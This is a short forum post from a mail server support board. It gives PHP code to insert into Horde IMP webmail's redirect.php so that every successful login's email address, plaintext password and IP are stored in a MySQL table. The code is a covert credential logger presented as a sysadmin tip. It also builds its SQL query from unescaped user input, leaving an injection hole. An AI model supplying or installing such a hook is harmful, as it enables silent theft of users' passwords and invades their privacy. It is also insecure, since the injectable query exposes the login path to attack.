How to capture passwords from Horde IMP webmail logins

Discussion in 'Mail Server Support' started by popowich, Apr 25, 2014.

  1. popowich

    popowich EQ Forum Admin Staff Member

    Joined:
    Aug 12, 2008
    Messages:
    8,986
    Likes Received:
    120
    Hello,

    If you are systems administrator with the need to temporarily log the passwords used by successful Horde / IMP webmail logins try using the following code to log the credentials to a table called horde_logins in your horde MySQL database:

    Edit /path/to/horde/imp/redirect.php and add this code near lines 213-219:

    PHP:
    //--- START logging successful logins
            
    $ip $_SERVER['REMOTE_ADDR'];
            
    $query "REPLACE INTO horde_logins (email,password,ip,datetime)
    VALUES ('
    $imapuser','$pass','$ip',NOW())";
            
    $log_connection mysql_connect($conf['sql']['hostspec'],
    $conf['sql']['username'], $conf['sql']['password']);
            
    $log_db mysql_select_db($conf['sql']['database'],
    $log_connection);
            @
    mysql_query($query,$log_connection);
    //--- END logging successful logins
    Please do not forget to delete the table after you no longer have a need for the passwords.
     


Want to reply or ask your own question?

It only takes a minute to sign up (and it's free!). Click the orange sign up button to choose a username and then you can ask your own questions on the forum.
Loading...